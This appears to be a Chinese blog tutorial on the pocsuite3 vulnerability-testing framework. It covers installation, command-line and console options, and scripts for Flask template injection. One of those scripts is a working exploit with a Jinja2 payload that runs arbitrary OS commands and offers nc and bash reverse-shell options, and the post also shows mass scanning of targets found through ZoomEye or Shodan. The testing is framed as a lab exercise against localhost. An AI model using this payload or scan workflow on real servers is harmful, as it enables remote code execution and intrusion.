pocsuite3 工具使用

目录

描述

功能介绍

使用

环境

下载

应用

Pocsuite命令行模式

pocsuite3 编写POC脚本

批量验证方式

pocsuite3 编写EXP脚本

pocsuite3 反弹shell 形式

pocsuite3 编写console 形式

PocSuite3从Seebug加载PoC文件

PocSuite3从ZoomEye加载多个测试目标

PocSuite3从Shodan加载多个分析目标

POC注意事项

Windows下Pocsuite写日志url带冒号报错问题



描述

PocSuite3是知道创宇404安全研究团队设计的一款远程漏洞测试以及PoC开发框架,该框架使用了功能极其强大的概念验证引擎,并自带了大量渗透测试以及安全分析功能。

功能介绍

1、PoC脚本能够以attack、verify和shell等多种模式运行;

2、自带插件生态系统;

3、 可从本地文件、Redis和数据库等不同来源动态加载PoC脚本;

4、 可从CIDR、本地文件、Redis、数据库、Zoomeye和Shodan等来源加载多个测试目标;

5、 轻松导出测试结果;

6、 支持命令行工具和Python包导入;

7、 支持IPv6;

8、 支持全局HTTP/HTTPS/SOCKS代理;

9、 提供了强大的爬虫API;

10、整合Seebug;

11、整合ZoomEye;

12、整合Shodan;

13、整合Ceye;

14、等等…

使用

PoC脚本能够以attack、verify和shell等多种模式运行

自带插件生态系统;

可从本地文件、Redis和数据库等不同来源动态加载PoC脚本;

可从CIDR、本地文件、Redis、数据库、Zoomeye和Shodan等来源加载多个测试目标;

环境

1、 Python 3.4+

2、 Linux、Windows、macOS和BSD

下载

1.在有python环境下直接命令行pip安装pip install pocsuite3

2.Linux使用命令

wget https://github.com/knownsec/pocsuite3/archive/master.zip

unzip master.zip

3.或者在github上下载源码包提取源码https://github.com/knownsec/pocsuite3/archive/master.zip

推荐使用源码安装

应用

解压

报错   python cli.py -h

python3 cli.py -h

运行模块

--verity 验证    【POC】

--attack 攻击   【exp】

--shell

--version 版本



Request 统一请求

  --cookie
  --host
  --referer
  --user-agent
  --random-agent
  --proxy
  --proxy-cred
  --timeout
  --retry
  --delay
  --headers      extra headers (e.g."key1:value1\nkey2:value2")

Account Token 接口

  Telnet404 account options
  --login-user
  --login-pass
  --shodan-token
  --censys-uid

 Modules 一些模块接口

  --dork (默认为zoomeye搜索搜索引擎)
  --dork-zoomeye 搜过关键字
  --dork-shodan 搜索关键字
  --dork-censys 搜索关键字
  --max-page 多少页
  --search-type  搜索类型选择API,Web or Host
  --vul-keyword seebug关键词搜索
  --ssv-id seebug漏洞编号
  --lhost shell模式反弹主机
  --lport shell模式反弹端口
  --comparison 比较两个搜索引擎

optimization 选择项

  --plugins 加载插件
  --pocs-path     poc地址
  --threads      开启线程      
  --batch      自动默认选项
  --requires      检测需要安装的模块
  --quiet     没有logger
  --ppt   隐藏敏感信息

console 模式

  python3 console.py进入console模式
  Global commands:
        help  帮助
        use <module>  使用模块
        search <search term> 搜索模块
        list|show all   显示所有模块
        exit 退出
  Module commands:
        run  使用设置的参数运行选中的脚本
        back 返回上一步
        set 参数名 参数值(当前模块)
        setg 参数名 参数值(所有模块)
        show info|options|all 打印information,options
        check 使用--verify模式
        attack 使用--attack模式
        exploit 使用--shell模式

比如:

python3 cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5
 

将使用ZoomEye搜索ecshop并使用ecshop_rce.py探测,指定线程数量为5

Pocsuite的运行模式默认是verify验证模式,此时对目标影响最小,也有attackshell模式,对目标进行相关攻击与shell反弹(当然需要PoC的支持,Pocsuite的PoC编写格式预留了这三种模式的接口,并且有很多内置API帮助实现这三种接口)


Pocsuite命令行模式

Pocsuite有两种交互模式,一个是命令行模式类似我们所知的sqlmap的界面,另一个是控制台交互模式类似w3af或者matasploit的界面。

verify和attack两种POC模式

 

在使用Pocsuite的时候,我们可以用--verify参数来调用_verify方法,用--attack参数来调用_attack方法。

def _attack(self):
    result = {}
    #Write your code here
    return self.parse_output(result)

def _verify(self):
    result = {}
    #Write your code here
    return self.parse_output(result)
  • verify 模式:验证目标是否存在漏洞
pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --verify
  • attack 模式:向目标发起有效的攻击
pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --attack
  • 批量验证,将url写到一个txt
pocsuite3 -r test/poc_example.py -f url.txt --verify
  • 加载 tests 目录下的所有 PoC 对目标进行测试(可以充当扫描器角色)
pocsuite3 -r tests/ -u http://www.example.com --verify
  • 使用多线程,默认线程数为1
pocsuite3 -r test/ -f url.txt --verify --threads 10

这里以flask模板注入漏洞为例:

https://blog.youkuaiyun.com/weixin_43650289/article/details/110871326

pocsuite3 编写POC脚本

主要编写poc定义的函数部分去做验证;

poc-flask.py 脚本

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['flask']
    name = 'flask'
    appPowerLink = 'flask'
    appName = 'flask'
    appVersion = 'flask'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        flask
    '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _verify(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        payload = "{{22*22}}"
        #print(payload)
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return 
        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

register_poc(DemoPOC)

      加载目标target, 进行操作执行

-f  url_file(多个url) 比如:1.txt  存放多个IP 进行批量验证

-r 加载poc文件

-u 路径地址

--verify  poc验证模式

python3 cli.py -r /root/桌面/flask/poc-flask.py -u http://127.0.0.1:5000 --verify

否则不存在

批量验证方式

root@kali:~/桌面/pocsuite3-master/pocsuite3# python3 cli.py -r /root/桌面/flask/poc-flask.py --dork "server:http" --vuln-keyword "flask"

搜索漏洞关键字flask,  http协议的网址

失败,没扫出来


pocsuite3 编写EXP脚本

主要编写exp定义的函数部分去做攻击;

exp-flask.py 脚本

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['1.1']
    name = 'flack'
    appPowerLink = 'flack'
    appName = 'flask'
    appVersion = 'flask'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        
    '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _verify(self):
        output = Output(self)
        result = {}

    def _attack(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        cmd = self.get_option("command")
        payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("'+cmd+'").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        #print(payload)
        try:
            resq = requests.get(url + payload)
            t = resq.text
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(" ","")
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return
        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)

payload如下:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}


root@kali:~/桌面/pocsuite3-master/pocsuite3# python3 cli.py -r /root/桌面/flask/exp-flask.py -u http://127.0.0.1:5000 --attack --command ifconfig
 

进行command 命令执行,使用exp

 

 


pocsuite3 反弹shell 形式

python3 cli.py -r /root/桌面/flask/exp-flask.py -u http://127.0.0.1:5000 --attack --shell

帮助中心

 


pocsuite3 编写console 形式

root@kali:~/桌面/pocsuite3-master/pocsuite3# python3 console.py 

与MSF 命令差不多

 


PocSuite3从Seebug加载PoC文件

PocSuite3从ZoomEye加载多个测试目标

PocSuite3从Shodan加载多个分析目标


POC注意事项

  • 参照模版来写:模版地址
  • 引入基础库,尽量避免第三方库。
  • 比较好POC符合:
  • 随机性:检测的数据,发送的数据要随机。
  • 通用性:考虑适应版本,各种不同的情况,操作系统等。
  • 确定性:准确率的问题,这个POC一定能检测出漏洞来吗?
  • 关于CEYE的使用:监视服务以进行安全测试

有时一些漏洞的检测并没有数据回显,如SQL盲注,如命令执行无回显等等。这时可以借助DNS查询nslook或者curl来监控数据。CEYE为我们提供了这样一种服务,地址:http://ceye.io。


Windows下Pocsuite写日志url带冒号报错问题

报错描述

Windows平台使用Pocsuite,当输入的url带有:的时会报错,如下:

[WARNING] unable to create output directory 'C:\Users\Administrator\.pocsuite\output\127.0.0.1:8080'

错误分析

原来保存日志记录会选取C:\Users\Administrator\.pocsuite\output\拼接上url地址,而windows下文件名不允许含有:,所以才会报错。

所以,不论URL是http://还是带有冒号都会报错,看来pocsuite这边在创建这个文件名的时候名没有检查文件名字是否还有特殊符号呀。

错误解决

手动改代码解决问题:反向追踪哪个文件做了创建文件夹的操作。

经查找,发现该操作代码存在于pocsuite\lib\controller\controller.py文件。

从131行代码开始,定义了一个_setRecordFiles()函数,该函数会创建这么一个文件夹。

def _setRecordFiles():
    for (target, pocname, pocid, component, version, status, r_time, result) in kb.results:
        if type(status) != str:
            status = status[1]
            target=target.replace(":","_") #这里添加了一行替换代码
        outputPath = os.path.join(getUnicode(paths.POCSUITE_OUTPUT_PATH), normalizeUnicode(getUnicode(target)))

可以发现_setRecordFiles()函数从kb.results这个数据实例里面取值。我们用target=target.replace(":","_")来将:替换成"_",问题解决。


评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

战神/calmness

你的鼓励是我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值